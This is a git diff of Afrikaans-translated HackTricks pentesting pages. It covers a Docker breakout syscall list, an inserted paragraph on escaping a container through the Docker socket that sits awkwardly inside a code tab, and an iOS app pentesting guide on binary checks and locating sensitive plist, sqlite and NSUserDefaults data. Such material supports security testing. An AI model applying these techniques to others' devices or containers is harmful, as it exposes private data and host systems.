**`sys_io_destroy`**: Vernietig 'n I/O-konteks +- **`sys_io_getevents`**: Kry I/O-gebeure +- **`sys_io_submit`**: Stuur I/O-aanvrae +- **`sys_io_cancel`**: Kanselleer I/O-aanvrae +- **`sys_get_thread_area`**: Kry draadgebied +- **`sys_lookup_dcookie`**: Soek dcookie +- **`sys_epoll_create`**: Skep 'n epoll-instantie +- **`sys_remap_file_pages`**: Herkartografeer lêerbladsye +- **`sys_getdents64`**: Kry lêerinskrywings +- **`sys_set_tid_address`**: Stel draad-ID-adres in +- **`sys_restart_syscall`**: Herlaai die aanroep van die stelsel +- **`sys_semtimedop`**: Semaforklokbedrywe +- **`sys_fadvise64`**: Adviseer lêerlees-/skryfverrigting +- **`sys_timer_create`**: Skep 'n tydhouer +- **`sys_timer_settime`**: Stel tydhouer in +- **`sys_timer_gettime`**: Kry tydhouer +- **`sys_timer_getoverrun`**: Kry tydhouer-oorskryding +- **`sys_timer_delete`**: Verwyder tydhouer +- **`sys_clock_settime`**: Stel kloktyd in +- **`sys_clock_gettime`**: Kry kloktyd +- **`sys_clock_getres`**: Kry klokresolusie +- **`sys_clock_nanosleep`**: Slaap met 'n hoë resolusie +- **`sys_exit_group`**: Verlaat 'n groep prosesse +- **`sys_epoll_wait`**: Wag vir gebeure op 'n epoll-instantie +- **`sys_epoll_ctl`**: Kontroleer 'n epoll-instantie +- **`sys_tgkill`**: Stuur 'n sein na 'n spesifieke draad van 'n spesifieke groep prosesse +- **`sys_utimes`**: Wysig lêertyd +- **`sys_vserver`**: Virtuele bediener +- **`sys_mbind`**: Bind 'n geheuebeleid aan 'n geheuegebied +- **`sys_set_mempolicy`**: Stel geheuebeleid in vir 'n geheuegebied +- **`sys_get_mempolicy`**: Kry geheuebeleid vir 'n geheuegebied +- **`sys_mq_open`**: Skep 'n posboodskapsueue +- **`sys_mq_unlink`**: Verwyder 'n posboodskapsueue +- **`sys_mq_timedsend`**: Stuur 'n tydgebonde posboodskap +- **`sys_mq_timedreceive`**: Ontvang 'n tydgebonde posboodskap +- **`sys_mq_notify`**: Stel posboodskap in kennis +- **`sys_mq_getsetattr`**: Kry en stel posboodskapeienskappe in +- **`sys_kexec_load`**: Laai 'n nuwe kernel +- **`sys_waitid`**: Wag vir 'n spesifieke sein +- **`sys_add_key`**: Voeg 'n sleutel by die sleutelring +- **`sys_request_key`**: Vra 'n sleutel aan die sleutelring +- **`sys_keyctl`**: Sleutelbedrywe +- **`sys_ioprio_set`**: Stel I/O-prioriteit in +- **`sys_ioprio_get`**: Kry I/O-prioriteit +- **`sys_inotify_init`**: Skep 'n inotify-instantie +- **`sys_inotify_add_watch`**: Voeg 'n inotify-waarneming by +- **`sys_inotify_rm_watch`**: Verwyder 'n inotify-waarneming +- **`sys_migrate_pages`**: Verskuif geheuebladsye +- **`sys_openat`**: Maak 'n lêer oop +- ``` 0x029 -- pivot_root 0x059 -- acct @@ -1082,7 +784,11 @@ Die volgende syscalls kan gebruik word om 'n privilege escalation aanval uit te ``` {% endtab %} -{% tab title="syscall_bf.c" %} +{% tab title="syscall_bf.c" %} +### Docker Breakout Privilege Escalation + +Hierdie tegniek maak gebruik van 'n spesifieke kwesbaarheid in Docker wat toelaat dat 'n aanvaller van binne 'n Docker-houer kan ontsnap en bevoorregte toegang tot die gasheerstelsel kan verkry. Die aanvaller kan dan die Docker-sokket benader en die Docker-API aanroep om 'n nuwe houer met bevoorregte toegang te skep. +{% endtab %} ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -1148,10 +854,10 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
-Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ +Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md index 512a2019a..dd1b09adf 100644 --- a/mobile-pentesting/ios-pentesting/README.md +++ b/mobile-pentesting/ios-pentesting/README.md @@ -3,20 +3,20 @@
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Toegang Vandag: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) om maklik **werkstrome** te bou en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
-Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. @@ -36,11 +36,11 @@ Op hierdie bladsy kan jy inligting vind oor die **iOS-simuleerder**, **emulators [ios-testing-environment.md](ios-testing-environment.md) {% endcontent-ref %} -## Inisieële Analise +## Aanvanklike Analise ### Basiese iOS Toetsoperasies -Tydens die toetsing **sal verskeie operasies voorgestel word** (verbind met die toestel, lees/skryf/oplaai/aflaai lêers, gebruik van sekere gereedskap...). As jy dus nie weet hoe om enige van hierdie aksies uit te voer nie, **begin deur die bladsy te lees**: +Tydens die toetsing **sal verskeie operasies voorgestel word** (verbind met die toestel, lees/skryf/oordra/laai lêers af, gebruik van sekere gereedskap...). As jy dus nie weet hoe om enige van hierdie aksies uit te voer nie, **begin deur die bladsy te lees**: {% content-ref url="basic-ios-testing-operations.md" %} [basic-ios-testing-operations.md](basic-ios-testing-operations.md) @@ -60,22 +60,22 @@ Identifikasie van **beskermings wat teenwoordig is in die binêre lêer**: * **PIE (Position Independent Executable)**: Wanneer dit geaktiveer is, laai die aansoek in 'n ewekansige geheue-adres elke keer as dit begin, wat dit moeiliker maak om sy aanvanklike geheue-adres te voorspel. ```bash -otool -hv | grep PIE # Dit behoort die PIE-vlag in te sluit +otool -hv | grep PIE # Dit behoort die PIE-vlag in te sluit ``` -* **Stapelkanaries**: Om die integriteit van die stapel te valideer, word 'n 'kanarie'-waarde op die stapel geplaas voordat 'n funksie aangeroep word en word weer gevalideer sodra die funksie eindig. +* **Stapelkanaries**: Om die integriteit van die stapel te valideer, word 'n 'kanarie'-waarde op die stapel geplaas voordat 'n funksie geroep word en word weer gevalideer sodra die funksie eindig. ```bash -otool -I -v | grep stack_chk # Dit behoort die simbole: stack_chk_guard en stack_chk_fail in te sluit +otool -I -v | grep stack_chk # Dit behoort die simbole: stack_chk_guard en stack_chk_fail in te sluit ``` * **ARC (Automatic Reference Counting)**: Om algemene geheuekorruptie-foute te voorkom ```bash -otool -I -v | grep objc_release # Dit behoort die _objc_release-simbool in te sluit +otool -I -v | grep objc_release # Dit behoort die _objc_release-simbool in te sluit ``` -* **Versleutelde Binêre**: Die binêre lêer behoort versleutel te wees +* **Versleutelde Binêre Lêer**: Die binêre lêer behoort versleutel te wees ```bash -otool -arch all -Vl | grep -A5 LC_ENCRYPT # Die cryptid behoort 1 te wees +otool -arch all -Vl | grep -A5 LC_ENCRYPT # Die cryptid behoort 1 te wees ``` **Identifikasie van Sensitiewe/Onveilige Funksies** @@ -145,7 +145,7 @@ grep -iER "_vsprintf" ### Basiese Dinamiese Analise -Kyk na die dinamiese analise wat [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) uitvoer. Jy sal deur die verskillende aansigte moet navigeer en met hulle moet interaksie hê, maar dit sal verskeie klasse koppel en ander dinge doen en 'n verslag voorberei sodra jy klaar is. +Kyk na die dinamiese analise wat [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) uitvoer. Jy sal deur die verskillende aansigte moet navigeer en daarmee moet interaksie hê, maar dit sal verskeie klasse koppel en ander dinge doen en 'n verslag voorberei sodra jy klaar is. ### Lys van Geïnstalleerde Apps @@ -177,21 +177,21 @@ Die struktuur van 'n **IPA-lêer** is essensieel dié van 'n **gezipde pakkie**. * **`Info.plist`**: Hierdie lêer bevat spesifieke konfigurasiebesonderhede van die aansoek. * **`_CodeSignature/`**: Hierdie gids sluit 'n plist-lêer in wat 'n handtekening bevat wat die integriteit van alle lêers in die bundel verseker. * **`Assets.car`**: 'n Gekomprimeerde argief wat bate-lêers soos ikone stoor. -* **`Frameworks/`**: Hierdie gids huisves die aansoek se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees. -* **`PlugIns/`**: Dit mag uitbreidings tot die aansoek insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is nie. +* **`Frameworks/`**: Hierdie vouer huisves die aansoek se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees. +* **`PlugIns/`**: Dit kan uitbreidings tot die aansoek insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is nie. * [**`Core Data`**](https://developer.apple.com/documentation/coredata): Dit word gebruik om jou aansoek se permanente data vir aflyngebruik te stoor, tydelike data te kash, en om ongedaanmaakfunksionaliteit by jou aansoek op 'n enkele toestel by te voeg. Om data oor verskeie toestelle in 'n enkele iCloud-rekening te sinchroniseer, boots Core Data outomaties jou skema na 'n CloudKit-houer. * [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Die `PkgInfo`-lêer is 'n alternatiewe manier om die tipe en skepperkodes van jou aansoek of bundel te spesifiseer. -* **en.lproj, fr.proj, Base.lproj**: Is die taalpakke wat hulpbronne vir daardie spesifieke tale bevat, en 'n verstekhulpbron in geval 'n taal nie ondersteun word nie. +* **en.lproj, fr.proj, Base.lproj**: Is die taalpakkette wat hulpbronne vir daardie spesifieke tale bevat, en 'n verstekhulpbron in geval 'n taal nie ondersteun word nie. * **Sekuriteit**: Die `_CodeSignature/`-gids speel 'n kritieke rol in die aansoek se sekuriteit deur die integriteit van alle gebundelde lêers deur digitale handtekeninge te verifieer. -* **Batebestuur**: Die `Assets.car`-lêer gebruik kompressie om grafiese bates doeltreffend te bestuur, wat noodsaaklik is vir die optimalisering van aansoekprestasie en die vermindering van sy algehele grootte. -* **Raamwerke en Inproppe**: Hierdie gidse beklemtoon die modulariteit van iOS-aansoeke, wat ontwikkelaars in staat stel om herbruikbare kodelêers (`Frameworks/`) in te sluit en aansoekfunksionaliteit uit te brei (`PlugIns/`). -* **Lokalisering**: Die struktuur ondersteun meertaligheid, wat globale aansoekbereik fasiliteer deur hulpbronne vir spesifieke taalpakke in te sluit. +* **Batebestuur**: Die `Assets.car`-lêer gebruik kompressie om grafiese bates effektief te bestuur, wat noodsaaklik is vir die optimalisering van aansoekprestasie en die vermindering van sy algehele grootte. +* **Raamwerke en Inproppe**: Hierdie gide beklemtoon die modulariteit van iOS-aansoeke, wat ontwikkelaars in staat stel om herbruikbare kodelêers (`Frameworks/`) in te sluit en aansoekfunksionaliteit uit te brei (`PlugIns/`). +* **Lokalisering**: Die struktuur ondersteun meertaligheid, wat globale aansoekbereik fasiliteer deur hulpbronne vir spesifieke taalpakkette in te sluit. **Info.plist** -Die **Info.plist** dien as 'n hoeksteen vir iOS-aansoeke, wat sleutelkonfigurasiedata inkapsuleer in die vorm van **sleutel-waarde** pare. Hierdie lêer is 'n vereiste nie net vir aansoeke nie, maar ook vir aansoekuitbreidings en raamwerke wat daarin gebundel is. Dit is gestruktureer in XML of 'n binêre formaat en bevat kritieke inligting wat strek van aansoektoestemmings tot sekuriteitskonfigurasies. Vir 'n gedetailleerde verkenning van beskikbare sleutels, kan 'n persoon verwys na die [**Apple Developer-dokumentasie**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc). +Die **Info.plist** dien as 'n hoeksteen vir iOS-aansoeke, wat sleutelkonfigurasiedata inkapsuleer in die vorm van **sleutel-waarde** pare. Hierdie lêer is 'n vereiste nie net vir aansoeke nie, maar ook vir aansoekuitbreidings en raamwerke wat daarin gebundel is. Dit is gestruktureer in XML of 'n binêre formaat en bevat kritieke inligting wat strek van aansoektoestemmings tot sekuriteitskonfigurasies. Vir 'n gedetailleerde verkenning van beskikbare sleutels kan verwys word na die [**Apple Developer-dokumentasie**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc). -Vir diegene wat met hierdie lêer wil werk in 'n meer toeganklike formaat, kan die XML-omskakeling moeiteloos bereik word deur die gebruik van `plutil` op macOS (beskikbaar natively op weergawes 10.2 en later) of `plistutil` op Linux. Die opdragte vir omskakeling is as volg: +Vir diegene wat met hierdie lêer in 'n meer toeganklike formaat wil werk, kan die XML-omskakeling moeiteloos bereik word deur die gebruik van `plutil` op macOS (beskikbaar natively op weergawes 10.2 en later) of `plistutil` op Linux. Die opdragte vir omskakeling is as volg: * **Vir macOS**: ```bash @@ -202,21 +202,21 @@ $ plutil -convert xml1 Info.plist $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -Onder die menigte inligting wat die **Info.plist** lêer kan onthul, sluit noemenswaardige inskrywings in soos app-toestemmingsreekse (`UsageDescription`), aangepaste URL-skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`). Hierdie inskrywings, tesame met ander soos uitgevoerde/ingevoerde aangepaste dokumenttipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of deur 'n eenvoudige `grep`-bevel te gebruik: +Onder die menigte inligting wat die **Info.plist** lêer kan onthul, sluit noemenswaardige inskrywings in soos app-toestemmingsreekse (`UsageDescription`), aangepaste URL-skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`). Hierdie inskrywings, tesame met ander soos uitgevoerde/ingevoerde aangepaste dokumenttipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik opgespoor word deur die lêer te inspekteer of deur 'n eenvoudige `grep`-bevel te gebruik: ```bash $ grep -i Info.plist ``` **Data Paaie** -In die iOS-omgewing word gids spesifiek aangewys vir **sisteemtoepassings** en **gebruiker-geïnstalleerde toepassings**. Sisteemtoepassings bly in die `/Applications` gids, terwyl gebruiker-geïnstalleerde toepassings onder `/var/mobile/containers/Data/Application/` geplaas word. Hierdie toepassings word 'n unieke identifiseerder toegewys wat bekend staan as 'n **128-bis UUID**, wat die taak van die handmatige lokalisering van 'n toepassing se vouer moeilik maak as gevolg van die lukraakheid van die gidsname. +In die iOS-omgewing word gids spesifiek aangewys vir **sisteemtoepassings** en **gebruiker-geïnstalleerde toepassings**. Sisteemtoepassings bly in die `/Applications` gids, terwyl gebruiker-geïnstalleerde toepassings onder `/var/mobile/containers/Data/Application/` geplaas word. Hierdie toepassings word 'n unieke identifiseerder toegewys wat bekend staan as 'n **128-bis UUID**, wat die taak van die handmatig vind van 'n toepassing se gids moeilik maak as gevolg van die lukraakheid van die gidsname. {% hint style="warning" %} -Aangesien toepassings in iOS gesandboks moet wees, sal elke toepassing ook 'n vouer binne **`$HOME/Library/Containers`** hê met die toepassing se **`CFBundleIdentifier`** as die vouernaam. +Aangesien toepassings in iOS gesandboks moet wees, sal elke toepassing ook 'n gids binne **`$HOME/Library/Containers`** hê met die toepassing se **`CFBundleIdentifier`** as die gidsnaam. -Nietemin het beide vouers (data- en houervouers) die lêer **`.com.apple.mobile_container_manager.metadata.plist`** wat beide lêers koppel in die sleutel `MCMetadataIdentifier`). +Nietemin het beide gids (data & houer gids) die lêer **`.com.apple.mobile_container_manager.metadata.plist`** wat beide lêers koppel in die sleutel `MCMetadataIdentifier`). {% endhint %} -Om die ontdekking van 'n gebruiker-geïnstalleerde toepassing se installeervouer te fasiliteer, bied die **objection tool** 'n nuttige bevel, `env`. Hierdie bevel onthul gedetailleerde gidsinligting vir die betrokke toepassing. Hieronder is 'n voorbeeld van hoe om hierdie bevel te gebruik: +Om die ontdekking van 'n gebruiker-geïnstalleerde toepassing se installasiegids te fasiliteer, bied die **objection tool** 'n nuttige bevel, `env`. Hierdie bevel onthul gedetailleerde gidsinligting vir die betrokke toepassing. Hieronder is 'n voorbeeld van hoe om hierdie bevel te gebruik: ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env @@ -227,11 +227,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library ``` -Alternatief kan die app-naam binne die `/private/var/containers` gesoek word met behulp van die `find`-opdrag: +Alternatiewelik kan die app-naam binne die `/private/var/containers` gesoek word met behulp van die `find`-opdrag: ```bash find /private/var/containers -name "Progname*" ``` -Opdragte soos `ps` en `lsof` kan ook gebruik word om die proses van die program te identifiseer en onderskeidelik 'n lys van oop lêers te gee, wat insig bied in die aktiewe gids van die aansoek: +Opdragte soos `ps` en `lsof` kan ook gebruik word om die proses van die program te identifiseer en om oop lêers te lys, onderskeidelik, wat insig bied in die aktiewe gids van die aansoek: ```bash ps -ef | grep -i lsof -p | grep -i "/containers" | head -n 1 @@ -239,12 +239,12 @@ lsof -p | grep -i "/containers" | head -n 1 **Bondelgids:** * **AppName.app** -* Dit is die Aansoekbondel soos voorheen gesien in die IPA, dit bevat noodsaaklike aansoekdata, statiese inhoud sowel as die aansoek se saamgestelde binêre lêer. +* Dit is die Aansoekbondel soos voorheen gesien in die IPA, dit bevat noodsaaklike aansoekdata, statiese inhoud sowel as die aansoek se saamgestelde binêre. * Hierdie gids is sigbaar vir gebruikers, maar **gebruikers kan nie daarin skryf nie**. * Inhoud in hierdie gids word **nie gestoor nie**. * Die inhoud van hierdie gids word gebruik om die kodesignatuur te **valideer**. -**Datagids:** +**Data-gids:** * **Dokumente/** * Bevat alle gebruikers gegenereerde data. Die aansoek eindgebruiker inisieer die skepping van hierdie data. @@ -252,30 +252,30 @@ lsof -p | grep -i "/containers" | head -n 1 * Inhoud in hierdie gids word **gestoor**. * Die aansoek kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel. * **Biblioteek/** -* Bevat alle lêers wat nie gebruikersspesifiek is nie, soos **gekassetteerde**, **voorkeure**, **koekies**, en eiendomslys (plist) opsetlêers. -* iOS-aansoeke gebruik gewoonlik die `Toepassingsondersteuning` en `Kassies` subgidse, maar die aansoek kan aangepaste subgidse skep. -* **Biblioteek/Kassies/** +* Bevat alle **lêers wat nie gebruikersspesifiek is nie**, soos **gekassetteerde**, **voorkeure**, **koekies**, en eiendomslys (plist) konfigurasie lêers. +* iOS-aansoeke gebruik gewoonlik die `Toepassingsondersteuning` en `Kassette` subgidse, maar die aansoek kan aangepaste subgidse skep. +* **Biblioteek/Kassette/** * Bevat **semi-blywende gekassetteerde lêers**. * Onsigbaar vir gebruikers en **gebruikers kan nie daarin skryf nie**. * Inhoud in hierdie gids word **nie gestoor nie**. -* Die OS kan hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoorplek min is. +* Die OS kan moontlik hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoor spasie min is. * **Biblioteek/Toepassingsondersteuning/** * Bevat **blywende lêers** wat nodig is vir die aansoek se werking. * **Onsigbaar vir gebruikers** en gebruikers kan nie daarin skryf nie. * Inhoud in hierdie gids word **gestoor**. * Die aansoek kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel. * **Biblioteek/Voorkeure/** -* Gebruik vir die stoor van eienskappe wat selfs nadat 'n aansoek heraangestart is, **bly voortbestaan**. -* Inligting word ongekripteer binne die aansoek se sandput in 'n plist-lêer genaamd \[BONDSEL\_ID].plist gestoor. -* Al die sleutel/waardepare wat met `NSUserDefaults` gestoor word, kan in hierdie lêer gevind word. +* Word gebruik vir die stoor van eienskappe wat selfs nadat 'n aansoek heraangestel word, **bly voortbestaan**. +* Inligting word ongekripteer binne die aansoek sandput in 'n plist lêer genaamd \[BONDSEL\_ID].plist gestoor. +* Alle sleutel/waarde pare wat met `NSUserDefaults` gestoor word, kan in hierdie lêer gevind word. * **tmp/** -* Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen aansoekbeginne moet voortduur nie. +* Gebruik hierdie gids om **tydelike lêers** te skryf wat nie tussen aansoekbeginne moet bly voortbestaan nie. * Bevat nie-blywende gekassetteerde lêers. -* Onsigbaar vir gebruikers. -* Inhoud in hierdie gids word nie gestoor nie. -* Die OS kan hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoorplek min is. +* **Onsigbaar** vir gebruikers. +* Inhoud in hierdie gids word **nie gestoor nie**. +* Die OS kan moontlik hierdie gids se lêers outomaties verwyder wanneer die aansoek nie loop nie en stoor spasie min is. -Laten ons 'n nader kyk na iGoat-Swift se Aansoekbondel (.app) gids binne die Bondelgids (`/var/containers/Bondel/Aansoek/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): +Laten ons 'n nouer kyk na iGoat-Swift se Aansoekbondel (.app) gids binne die Bondelgids (`/var/containers/Bondel/Aansoek/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls NSFileType Perms NSFileProtection ... Name @@ -291,7 +291,7 @@ Regular 420 None ... README.txt ``` ### Binêre Omkeer -Binne die `.app`-vouer sal jy 'n binêre lêer kry genaamd ``. Hierdie is die lêer wat **uitgevoer** sal word. Jy kan 'n basiese inspeksie van die binêre lêer doen met die gereedskap **`otool`**: +Binne die `.app`-vouer sal jy 'n binêre lêer kry genaamd ``. Hierdie is die lêer wat sal **uitgevoer** word. Jy kan 'n basiese inspeksie van die binêre lêer doen met die gereedskap **`otool`**: ```bash otool -Vh DVIA-v2 #Check some compilation attributes magic cputype cpusubtype caps filetype ncmds sizeofcmds flags @@ -367,19 +367,19 @@ double _field1; double _field2; }; ``` -Egter, die beste opsies om die binêre kode te ontleed is: [**Hopper**](https://www.hopperapp.com/download.html?) en [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/). +Egter, die beste opsies om die binêre kode te ontleed is: [**Hopper**](https://www.hopperapp.com/download.html?) en [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
\ -Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik te bou en **werkstrome outomaties** te laat loop met die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ -Kry Toegang Vandag: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) om maklik te bou en **werkstrome te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %} ## Data Berging -Om uit te vind hoe iOS data op die toestel stoor, lees hierdie bladsy: +Om te leer oor hoe iOS data op die toestel stoor, lees hierdie bladsy: {% content-ref url="ios-basics.md" %} [ios-basics.md](ios-basics.md) @@ -392,17 +392,17 @@ Die doel is om **ongebeskermde sensitiewe inligting** van die aansoek (wagwoorde ### Plist -**plist** lêers is gestruktureerde XML-lêers wat **sleutel-waarde pare bevat**. Dit is 'n manier om volgehoue data te stoor, sodat jy soms **sensitiewe inligting in hierdie lêers kan vind**. Dit word aanbeveel om hierdie lêers te kontroleer nadat die aansoek geïnstalleer is en nadat dit intensief gebruik is om te sien of nuwe data geskryf is. +**plist** lêers is gestruktureerde XML-lêers wat **sleutel-waarde pare bevat**. Dit is 'n manier om volgehoue data te stoor, so soms mag jy **sensitiewe inligting in hierdie lêers vind**. Dit word aanbeveel om hierdie lêers te kontroleer na die installering van die aansoek en na intensiewe gebruik daarvan om te sien of nuwe data geskryf is. -Die mees algemene manier om data in plist-lêers vol te hou, is deur die gebruik van **NSUserDefaults**. Hierdie plist-lêer word binne die aansoek se sandput gestoor in **`Library/Preferences/.plist`** +Die mees algemene manier om data in plist-lêers te behou, is deur die gebruik van **NSUserDefaults**. Hierdie plist-lêer word binne die aansoek se sandput gestoor in **`Library/Preferences/.plist`** Die [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) klas bied 'n programmatiese koppelvlak vir interaksie met die verstekstelsel. Die verstekstelsel laat 'n aansoek toe om sy gedrag aan te pas volgens **gebruikersvoorkeure**. Data wat deur `NSUserDefaults` gestoor word, kan in die aansoekbundel besigtig word. Hierdie klas stoor **data** in 'n **plist** **lêer**, maar dit is bedoel om met klein hoeveelhede data gebruik te word. Hierdie data kan nie direk via 'n vertroude rekenaar benader word nie, maar kan benader word deur 'n **back-up** uit te voer. -Jy kan die inligting wat met **`NSUserDefaults`** gestoor is, **dump** deur gebruik te maak van objection se `ios nsuserdefaults get` +Jy kan die inligting wat gestoor is met behulp van **`NSUserDefaults`** dump deur gebruik te maak van objection se `ios nsuserdefaults get` -Om al die plist-lêers wat deur die aansoek gebruik word, te vind, kan jy toegang kry tot `/private/var/mobile/Containers/Data/Application/{APPID}` en hardloop: +Om al die plist-lêers wat deur die aansoek gebruik word te vind, kan jy toegang kry tot `/private/var/mobile/Containers/Data/Application/{APPID}` en hardloop: ```bash find ./ -name "*.plist" ``` @@ -417,7 +417,7 @@ $ plutil -convert xml1 Info.plist $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist ``` -**Binne 'n Objection-sessie:** Vir die analise van mobiele aansoeke, laat 'n spesifieke bevel jou toe om plist-lêers direk te omskep: +**Binne 'n Objection-sessie:** Vir die analise van mobiele toepassings, laat 'n spesifieke bevel jou toe om plist-lêers direk te omskep: ```bash ios plist cat /private/var/mobile/Containers/Data/Application//Library/Preferences/com.some.package.app.plist ``` @@ -463,15 +463,15 @@ Aangesien die Yap-databasisse sqlite-databasisse is, kan jy hulle vind deur die ### Ander SQLite-databasisse -Dit is algemeen vir toepassings om hul eie sqlite-databasis te skep. Hulle kan **sensitiewe data** daarop **berg** en dit ongeënkripteer los. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids te ondersoek. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`) +Dit is algemeen vir toepassings om hul eie sqlite-databasis te skep. Hulle kan **sensitiewe** **data** daarop **berg** en dit ongeënkripteer los. Daarom is dit altyd interessant om elke databasis binne die toepassingsgids te ondersoek. Gaan dus na die toepassingsgids waar die data gestoor word (`/private/var/mobile/Containers/Data/Application/{APPID}`) ```bash find ./ -name "*.sqlite" -or -name "*.db" ``` ### Firebase Real-Time Databasis -Ontwikkelaars kan **data stoor en sinchroniseer** binne 'n **NoSQL-wolk-gehoste databasis** deur Firebase Real-Time Databasis. Gestoor in JSON-formaat, word die data gesinchroniseer na alle gekoppelde kliënte in werklike tyd. +Ontwikkelaars is in staat gestel om **data te stoor en te sinchroniseer** binne 'n **NoSQL wolk-gehoste databasis** deur Firebase Real-Time Databasis. Gestoor in JSON-formaat, word die data gesinchroniseer na alle gekoppelde kliënte in werklike tyd. -Jy kan hier vind hoe om te kyk vir verkeerd geconfigureerde Firebase databasisse: +Jy kan uitvind hoe om vir verkeerd gekonfigureerde Firebase databasisse te soek hier: {% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} [firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) @@ -479,9 +479,9 @@ Jy kan hier vind hoe om te kyk vir verkeerd geconfigureerde Firebase databasisse ### Realm databasisse -[Realm Objective-C](https://realm.io/docs/objc/latest/) en [Realm Swift](https://realm.io/docs/swift/latest/) bied 'n kragtige alternatief vir data stoor, nie voorsien deur Apple nie. Standaard **stoor hulle data onversleutel**, met versleuteling beskikbaar deur spesifieke konfigurasie. +[Realm Objective-C](https://realm.io/docs/objc/latest/) en [Realm 